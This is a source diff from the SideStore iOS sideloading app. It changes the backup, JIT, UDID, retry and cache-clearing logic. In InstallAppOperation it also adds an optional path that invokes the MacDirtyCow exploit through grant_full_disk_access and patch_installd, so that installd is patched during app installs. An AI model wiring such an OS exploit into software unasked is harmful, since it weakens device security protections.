||||||
@@ -1164,6 +1198,11 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
func backup(_ installedApp: InstalledApp)
|
func backup(_ installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
let title = NSLocalizedString("Start Backup?", comment: "")
|
let title = NSLocalizedString("Start Backup?", comment: "")
|
||||||
let message = NSLocalizedString("This will replace any previous backups. Please leave SideStore open until the backup is complete.", comment: "")
|
let message = NSLocalizedString("This will replace any previous backups. Please leave SideStore open until the backup is complete.", comment: "")
|
||||||
|
|
||||||
@@ -1203,6 +1242,11 @@ private extension MyAppsViewController
|
|||||||
|
|
||||||
func restore(_ installedApp: InstalledApp)
|
func restore(_ installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
||||||
alertController.addAction(.cancel)
|
alertController.addAction(.cancel)
|
||||||
@@ -1306,6 +1350,16 @@ private extension MyAppsViewController
|
|||||||
@available(iOS 14, *)
|
@available(iOS 14, *)
|
||||||
func enableJIT(for installedApp: InstalledApp)
|
func enableJIT(for installedApp: InstalledApp)
|
||||||
{
|
{
|
||||||
|
if #available(iOS 17, *) {
|
||||||
|
let toastView = ToastView(error: OperationError.tooNewError)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !minimuxer.ready() {
|
||||||
|
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||||
|
toastView.show(in: self)
|
||||||
|
return
|
||||||
|
}
|
||||||
AppManager.shared.enableJIT(for: installedApp) { result in
|
AppManager.shared.enableJIT(for: installedApp) { result in
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
switch result
|
switch result
|
||||||
@@ -1313,7 +1367,7 @@ private extension MyAppsViewController
|
|||||||
case .success: break
|
case .success: break
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
let toastView = ToastView(error: error)
|
let toastView = ToastView(error: error)
|
||||||
toastView.show(in: self)
|
toastView.show(in: self.navigationController?.view ?? self.view, duration: 5)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1460,7 +1514,7 @@ extension MyAppsViewController
|
|||||||
let registeredAppIDs = team.appIDs.count
|
let registeredAppIDs = team.appIDs.count
|
||||||
|
|
||||||
let maximumAppIDCount = 10
|
let maximumAppIDCount = 10
|
||||||
let remainingAppIDs = max(maximumAppIDCount - registeredAppIDs, 0)
|
let remainingAppIDs = maximumAppIDCount - registeredAppIDs
|
||||||
|
|
||||||
if remainingAppIDs == 1
|
if remainingAppIDs == 1
|
||||||
{
|
{
|
||||||
@@ -1471,7 +1525,7 @@ extension MyAppsViewController
|
|||||||
footerView.textLabel.text = String(format: NSLocalizedString("%@ App IDs Remaining", comment: ""), NSNumber(value: remainingAppIDs))
|
footerView.textLabel.text = String(format: NSLocalizedString("%@ App IDs Remaining", comment: ""), NSNumber(value: remainingAppIDs))
|
||||||
}
|
}
|
||||||
|
|
||||||
footerView.textLabel.isHidden = false
|
footerView.textLabel.isHidden = remainingAppIDs < 0
|
||||||
|
|
||||||
case .individual, .organization, .unknown: footerView.textLabel.isHidden = true
|
case .individual, .organization, .unknown: footerView.textLabel.isHidden = true
|
||||||
@unknown default: break
|
@unknown default: break
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import Network
|
|||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import minimuxer
|
||||||
|
|
||||||
enum AuthenticationError: LocalizedError
|
enum AuthenticationError: LocalizedError
|
||||||
{
|
{
|
||||||
@@ -239,7 +240,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
}
|
}
|
||||||
|
|
||||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion), !UserDefaults.standard.isMDCEnabled
|
||||||
{
|
{
|
||||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
||||||
}
|
}
|
||||||
@@ -593,7 +594,7 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
||||||
{
|
{
|
||||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
|
guard let udid = fetch_udid()?.toString() else {
|
||||||
return completionHandler(.failure(OperationError.unknownUDID))
|
return completionHandler(.failure(OperationError.unknownUDID))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -105,8 +105,13 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
|
|||||||
} catch {
|
} catch {
|
||||||
self.finish(.failure(error))
|
self.finish(.failure(error))
|
||||||
}
|
}
|
||||||
start_auto_mounter(documentsDirectory)
|
if #available(iOS 17, *) {
|
||||||
|
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
start_auto_mounter(documentsDirectory)
|
||||||
|
}
|
||||||
|
|
||||||
self.managedObjectContext.perform {
|
self.managedObjectContext.perform {
|
||||||
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
|
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
|
||||||
|
|
||||||
|
|||||||
@@ -55,9 +55,8 @@ class BackupAppOperation: ResultOperation<Void>
|
|||||||
let appName = installedApp.name
|
let appName = installedApp.name
|
||||||
self.appName = appName
|
self.appName = appName
|
||||||
|
|
||||||
guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else { throw OperationError.appNotFound }
|
let altstoreOpenURL = URL(string: "sidestore://")!
|
||||||
let altstoreOpenURL = altstoreApp.openAppURL
|
|
||||||
|
|
||||||
var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
|
var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
|
||||||
returnURLComponents?.host = "appBackupResponse"
|
returnURLComponents?.host = "appBackupResponse"
|
||||||
guard let returnURL = returnURLComponents?.url else { throw OperationError.openAppFailed(name: appName) }
|
guard let returnURL = returnURLComponents?.url else { throw OperationError.openAppFailed(name: appName) }
|
||||||
|
|||||||
208
AltStore/Operations/ClearAppCacheOperation.swift
Normal file
208
AltStore/Operations/ClearAppCacheOperation.swift
Normal file
@@ -0,0 +1,208 @@
|
|||||||
|
//
|
||||||
|
// ClearAppCacheOperation.swift
|
||||||
|
// AltStore
|
||||||
|
//
|
||||||
|
// Created by Riley Testut on 9/27/22.
|
||||||
|
// Copyright © 2022 Riley Testut. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import AltStoreCore
|
||||||
|
/*
|
||||||
|
struct BatchError: ALTLocalizedError
|
||||||
|
{
|
||||||
|
|
||||||
|
enum Code: Int, ALTErrorCode
|
||||||
|
{
|
||||||
|
typealias Error = BatchError
|
||||||
|
|
||||||
|
case batchError
|
||||||
|
}
|
||||||
|
|
||||||
|
var code: Code = .batchError
|
||||||
|
var underlyingErrors: [Error]
|
||||||
|
|
||||||
|
var errorTitle: String?
|
||||||
|
var errorFailure: String?
|
||||||
|
|
||||||
|
init(errors: [Error])
|
||||||
|
{
|
||||||
|
self.underlyingErrors = errors
|
||||||
|
}
|
||||||
|
|
||||||
|
var errorFailureReason: String {
|
||||||
|
guard !self.underlyingErrors.isEmpty else { return NSLocalizedString("An unknown error occured.", comment: "") }
|
||||||
|
|
||||||
|
let errorMessages = self.underlyingErrors.map { $0.localizedDescription }
|
||||||
|
|
||||||
|
let message = errorMessages.joined(separator: "\n\n")
|
||||||
|
return message
|
||||||
|
}
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
@objc(ClearAppCacheOperation)
|
||||||
|
class ClearAppCacheOperation: ResultOperation<Void>
|
||||||
|
{
|
||||||
|
private let coordinator = NSFileCoordinator()
|
||||||
|
private let coordinatorQueue = OperationQueue()
|
||||||
|
|
||||||
|
override init()
|
||||||
|
{
|
||||||
|
self.coordinatorQueue.name = "AltStore - ClearAppCacheOperation Queue"
|
||||||
|
}
|
||||||
|
|
||||||
|
override func main()
|
||||||
|
{
|
||||||
|
super.main()
|
||||||
|
|
||||||
|
var allErrors = [Error]()
|
||||||
|
|
||||||
|
self.clearTemporaryDirectory { result in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
|
||||||
|
case .failure(let error): allErrors.append(error)
|
||||||
|
case .success: break
|
||||||
|
}
|
||||||
|
|
||||||
|
self.removeUninstalledAppBackupDirectories { result in
|
||||||
|
switch result
|
||||||
|
{
|
||||||
|
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
|
||||||
|
case .failure(let error): allErrors.append(error)
|
||||||
|
case .success: break
|
||||||
|
}
|
||||||
|
|
||||||
|
if allErrors.isEmpty
|
||||||
|
{
|
||||||
|
self.finish(.success(()))
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
self.finish(.failure(OperationError.cacheClearError(errors: allErrors.map({ error in
|
||||||
|
return error.localizedDescription
|
||||||
|
}))))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private extension ClearAppCacheOperation
|
||||||
|
{
|
||||||
|
func clearTemporaryDirectory(completion: @escaping (Result<Void, Error>) -> Void)
|
||||||
|
{
|
||||||
|
let intent = NSFileAccessIntent.writingIntent(with: FileManager.default.temporaryDirectory, options: [.forDeleting])
|
||||||
|
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if let error
|
||||||
|
{
|
||||||
|
throw error
|
||||||
|
}
|
||||||
|
|
||||||
|
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
|
||||||
|
includingPropertiesForKeys: [],
|
||||||
|
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
|
||||||
|
var errors = [Error]()
|
||||||
|
|
||||||
|
for fileURL in fileURLs
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
print("[ALTLog] Removing item from temporary directory:", fileURL.lastPathComponent)
|
||||||
|
try FileManager.default.removeItem(at: fileURL)
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
print("[ALTLog] Failed to remove \(fileURL.lastPathComponent) from temporary directory.", error)
|
||||||
|
errors.append(error)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !errors.isEmpty
|
||||||
|
{
|
||||||
|
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
|
||||||
|
return error.localizedDescription
|
||||||
|
}))))
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
completion(.success(()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
completion(.failure(error))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func removeUninstalledAppBackupDirectories(completion: @escaping (Result<Void, Error>) -> Void)
|
||||||
|
{
|
||||||
|
guard let backupsDirectory = FileManager.default.appBackupsDirectory else { return completion(.failure(OperationError.missingAppGroup)) }
|
||||||
|
|
||||||
|
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
|
||||||
|
let installedAppBundleIDs = Set(InstalledApp.all(in: context).map { $0.bundleIdentifier })
|
||||||
|
|
||||||
|
let intent = NSFileAccessIntent.writingIntent(with: backupsDirectory, options: [.forDeleting])
|
||||||
|
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if let error
|
||||||
|
{
|
||||||
|
throw error
|
||||||
|
}
|
||||||
|
|
||||||
|
var isDirectory: ObjCBool = false
|
||||||
|
guard FileManager.default.fileExists(atPath: intent.url.path, isDirectory: &isDirectory), isDirectory.boolValue else {
|
||||||
|
completion(.success(()))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
|
||||||
|
includingPropertiesForKeys: [.isDirectoryKey, .nameKey],
|
||||||
|
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
|
||||||
|
var errors = [Error]()
|
||||||
|
|
||||||
|
|
||||||
|
for backupDirectory in fileURLs
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
let resourceValues = try backupDirectory.resourceValues(forKeys: [.isDirectoryKey, .nameKey])
|
||||||
|
guard let isDirectory = resourceValues.isDirectory, let bundleID = resourceValues.name else { continue }
|
||||||
|
|
||||||
|
if isDirectory && !installedAppBundleIDs.contains(bundleID) && !AppManager.shared.isActivelyManagingApp(withBundleID: bundleID)
|
||||||
|
{
|
||||||
|
print("[ALTLog] Removing backup directory for uninstalled app:", bundleID)
|
||||||
|
try FileManager.default.removeItem(at: backupDirectory)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
print("[ALTLog] Failed to remove app backup directory:", error)
|
||||||
|
errors.append(error)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !errors.isEmpty
|
||||||
|
{
|
||||||
|
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
|
||||||
|
return error.localizedDescription
|
||||||
|
}))))
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
completion(.success(()))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
print("[ALTLog] Failed to remove app backup directory:", error)
|
||||||
|
completion(.failure(error))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -39,21 +39,14 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
|||||||
let allIdentifiers = [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
let allIdentifiers = [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
||||||
|
|
||||||
for profile in allIdentifiers {
|
for profile in allIdentifiers {
|
||||||
var attempts = 5
|
do {
|
||||||
while (attempts > 0){
|
try remove_provisioning_profile(profile)
|
||||||
print("Remove Provisioning profile attempts left: \(attempts)")
|
self.progress.completedUnitCount += 1
|
||||||
do {
|
installedApp.isActive = false
|
||||||
try remove_provisioning_profile(profile)
|
self.finish(.success(installedApp))
|
||||||
self.progress.completedUnitCount += 1
|
break
|
||||||
installedApp.isActive = false
|
} catch {
|
||||||
self.finish(.success(installedApp))
|
self.finish(.failure(error))
|
||||||
break
|
|
||||||
} catch {
|
|
||||||
attempts -= 1
|
|
||||||
if (attempts <= 0){
|
|
||||||
self.finish(.failure(error))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ final class EnableJITOperation<Context: EnableJITContext>: ResultOperation<Void>
|
|||||||
do {
|
do {
|
||||||
try debug_app(installedApp.resignedBundleIdentifier)
|
try debug_app(installedApp.resignedBundleIdentifier)
|
||||||
self.finish(.success(()))
|
self.finish(.success(()))
|
||||||
break
|
retries = 0
|
||||||
} catch {
|
} catch {
|
||||||
retries -= 1
|
retries -= 1
|
||||||
if (retries <= 0){
|
if (retries <= 0){
|
||||||
|
|||||||
@@ -262,10 +262,6 @@ extension FetchProvisioningProfilesOperation
|
|||||||
{
|
{
|
||||||
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
|
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
|
||||||
}
|
}
|
||||||
else
|
|
||||||
{
|
|
||||||
throw ALTAppleAPIError(.maximumAppIDLimitReached)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
//App ID name must be ascii. If the name is not ascii, using bundleID instead
|
//App ID name must be ascii. If the name is not ascii, using bundleID instead
|
||||||
|
|||||||
@@ -12,6 +12,9 @@ import AltStoreCore
|
|||||||
import AltSign
|
import AltSign
|
||||||
import Roxas
|
import Roxas
|
||||||
import minimuxer
|
import minimuxer
|
||||||
|
#if MACDIRTYCOW
|
||||||
|
import MacDirtyCow
|
||||||
|
#endif
|
||||||
|
|
||||||
@objc(InstallAppOperation)
|
@objc(InstallAppOperation)
|
||||||
final class InstallAppOperation: ResultOperation<InstalledApp>
|
final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||||
@@ -41,12 +44,14 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
|
|
||||||
guard
|
guard
|
||||||
let certificate = self.context.certificate,
|
let certificate = self.context.certificate,
|
||||||
let resignedApp = self.context.resignedApp
|
let resignedApp = self.context.resignedApp,
|
||||||
|
let provisioningProfiles = self.context.provisioningProfiles
|
||||||
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
|
|
||||||
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||||
backgroundContext.perform {
|
backgroundContext.perform {
|
||||||
|
|
||||||
|
|
||||||
/* App */
|
/* App */
|
||||||
let installedApp: InstalledApp
|
let installedApp: InstalledApp
|
||||||
|
|
||||||
@@ -116,8 +121,7 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
// Temporary directory and resigned .ipa no longer needed, so delete them now to ensure AltStore doesn't quit before we get the chance to.
|
// Temporary directory and resigned .ipa no longer needed, so delete them now to ensure AltStore doesn't quit before we get the chance to.
|
||||||
self.cleanUp()
|
self.cleanUp()
|
||||||
|
|
||||||
var activeProfiles: Set<String>?
|
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit, provisioningProfiles.contains(where: { $1.isFreeProvisioningProfile == true })
|
||||||
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit
|
|
||||||
{
|
{
|
||||||
// When installing these new profiles, AltServer will remove all non-active profiles to ensure we remain under limit.
|
// When installing these new profiles, AltServer will remove all non-active profiles to ensure we remain under limit.
|
||||||
|
|
||||||
@@ -142,11 +146,10 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
installedApp.isActive = false
|
installedApp.isActive = false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
|
else
|
||||||
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
{
|
||||||
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
installedApp.isActive = true
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
var installing = true
|
var installing = true
|
||||||
@@ -200,10 +203,42 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
}
|
}
|
||||||
|
|
||||||
do {
|
do {
|
||||||
|
#if MACDIRTYCOW
|
||||||
|
if UserDefaults.standard.isMDCEnabled {
|
||||||
|
grant_full_disk_access { error in
|
||||||
|
if error != nil {
|
||||||
|
self.finish(.failure(OperationError.mdcExploitFailed))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !patch_installd() {
|
||||||
|
self.finish(.failure(OperationError.mdcExploitFailed))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
try install_ipa(installedApp.bundleIdentifier)
|
||||||
|
installing = false
|
||||||
|
installedApp.refreshedDate = Date()
|
||||||
|
self.finish(.success(installedApp))
|
||||||
|
} catch let error {
|
||||||
|
installing = false
|
||||||
|
self.finish(.failure(error))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
try install_ipa(installedApp.bundleIdentifier)
|
||||||
|
installing = false
|
||||||
|
installedApp.refreshedDate = Date()
|
||||||
|
self.finish(.success(installedApp))
|
||||||
|
}
|
||||||
|
#else
|
||||||
try install_ipa(installedApp.bundleIdentifier)
|
try install_ipa(installedApp.bundleIdentifier)
|
||||||
installing = false
|
installing = false
|
||||||
installedApp.refreshedDate = Date()
|
installedApp.refreshedDate = Date()
|
||||||
self.finish(.success(installedApp))
|
self.finish(.success(installedApp))
|
||||||
|
#endif
|
||||||
} catch let error {
|
} catch let error {
|
||||||
installing = false
|
installing = false
|
||||||
self.finish(.failure(error))
|
self.finish(.failure(error))
|
||||||
|
|||||||
@@ -34,10 +34,16 @@ enum OperationError: LocalizedError
|
|||||||
case openAppFailed(name: String)
|
case openAppFailed(name: String)
|
||||||
case missingAppGroup
|
case missingAppGroup
|
||||||
|
|
||||||
|
case noWiFi
|
||||||
|
case tooNewError
|
||||||
case anisetteV1Error(message: String)
|
case anisetteV1Error(message: String)
|
||||||
case provisioningError(result: String, message: String?)
|
case provisioningError(result: String, message: String?)
|
||||||
case anisetteV3Error(message: String)
|
case anisetteV3Error(message: String)
|
||||||
|
|
||||||
|
case mdcExploitFailed
|
||||||
|
|
||||||
|
case cacheClearError(errors: [String])
|
||||||
|
|
||||||
var failureReason: String? {
|
var failureReason: String? {
|
||||||
switch self {
|
switch self {
|
||||||
case .unknown: return NSLocalizedString("An unknown error occured.", comment: "")
|
case .unknown: return NSLocalizedString("An unknown error occured.", comment: "")
|
||||||
@@ -53,9 +59,13 @@ enum OperationError: LocalizedError
|
|||||||
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
|
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
|
||||||
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
|
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
|
||||||
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
|
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
|
||||||
|
case .noWiFi: return NSLocalizedString("You do not appear to be connected to WiFi!\nSideStore will never be able to install or refresh applications without WiFi.", comment: "")
|
||||||
|
case .tooNewError: return NSLocalizedString("iOS 17 has changed how JIT is enabled therefore SideStore cannot enable it at this time, sorry for any inconvenience.\nWe will let everyone know once we have a solution!", comment: "")
|
||||||
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
|
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
|
||||||
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
|
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
|
||||||
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
|
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
|
||||||
|
case .mdcExploitFailed: return NSLocalizedString("An error occured while running MDC exploit, try disabling it in settings", comment: "")
|
||||||
|
case .cacheClearError(let errors): return String(format: NSLocalizedString("An error occurred while clearing cache: %@", comment: ""), errors.joined(separator: "\n"))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -41,19 +41,11 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
|
|||||||
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
|
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
|
||||||
|
|
||||||
for p in profiles {
|
for p in profiles {
|
||||||
var attempts = 5
|
do {
|
||||||
while (attempts > 0){
|
let bytes = p.value.data.toRustByteSlice()
|
||||||
print("Install provisioning profile attempts left: \(attempts)")
|
try install_provisioning_profile(bytes.forRust())
|
||||||
do {
|
} catch {
|
||||||
let bytes = p.value.data.toRustByteSlice()
|
self.finish(.failure(MinimuxerError.ProfileInstall))
|
||||||
try install_provisioning_profile(bytes.forRust())
|
|
||||||
break
|
|
||||||
} catch {
|
|
||||||
attempts -= 1
|
|
||||||
if (attempts <= 0) {
|
|
||||||
self.finish(.failure(MinimuxerError.ProfileInstall))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||||
|
|||||||
@@ -11,6 +11,7 @@ import Roxas
|
|||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
|
import minimuxer
|
||||||
|
|
||||||
@objc(ResignAppOperation)
|
@objc(ResignAppOperation)
|
||||||
final class ResignAppOperation: ResultOperation<ALTApplication>
|
final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||||
@@ -181,7 +182,7 @@ private extension ResignAppOperation
|
|||||||
|
|
||||||
if app.isAltStoreApp
|
if app.isAltStoreApp
|
||||||
{
|
{
|
||||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else { throw OperationError.unknownUDID }
|
guard let udid = fetch_udid()?.toString() as? String else { throw OperationError.unknownUDID }
|
||||||
guard let pairingFileString = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.devicePairingString) as? String else { throw OperationError.unknownUDID }
|
guard let pairingFileString = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.devicePairingString) as? String else { throw OperationError.unknownUDID }
|
||||||
additionalValues[Bundle.Info.devicePairingString] = pairingFileString
|
additionalValues[Bundle.Info.devicePairingString] = pairingFileString
|
||||||
additionalValues[Bundle.Info.deviceID] = udid
|
additionalValues[Bundle.Info.deviceID] = udid
|
||||||
@@ -202,7 +203,7 @@ private extension ResignAppOperation
|
|||||||
// The embedded certificate + certificate identifier are already in app bundle, no need to update them.
|
// The embedded certificate + certificate identifier are already in app bundle, no need to update them.
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
|
else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = fetch_udid()?.toString() as? String
|
||||||
{
|
{
|
||||||
// There is an ALTDeviceID entry, so assume the app is using AltKit and replace it with the device's UDID.
|
// There is an ALTDeviceID entry, so assume the app is using AltKit and replace it with the device's UDID.
|
||||||
additionalValues[Bundle.Info.deviceID] = udid
|
additionalValues[Bundle.Info.deviceID] = udid
|
||||||
|
|||||||
@@ -45,21 +45,13 @@ final class SendAppOperation: ResultOperation<()>
|
|||||||
print("AFC App `fileURL`: \(fileURL.absoluteString)")
|
print("AFC App `fileURL`: \(fileURL.absoluteString)")
|
||||||
|
|
||||||
if let data = NSData(contentsOf: fileURL) {
|
if let data = NSData(contentsOf: fileURL) {
|
||||||
var attempts = 10
|
do {
|
||||||
while (attempts != 0){
|
let bytes = Data(data).toRustByteSlice()
|
||||||
print("Send app attempts left: \(attempts)")
|
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
||||||
do {
|
self.progress.completedUnitCount += 1
|
||||||
let bytes = Data(data).toRustByteSlice()
|
self.finish(.success(()))
|
||||||
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
} catch {
|
||||||
self.progress.completedUnitCount += 1
|
self.finish(.failure(MinimuxerError.RwAfc))
|
||||||
self.finish(.success(()))
|
|
||||||
break
|
|
||||||
} catch {
|
|
||||||
attempts -= 1
|
|
||||||
if (attempts <= 0) {
|
|
||||||
self.finish(.failure(MinimuxerError.RwAfc))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
self.progress.completedUnitCount += 1
|
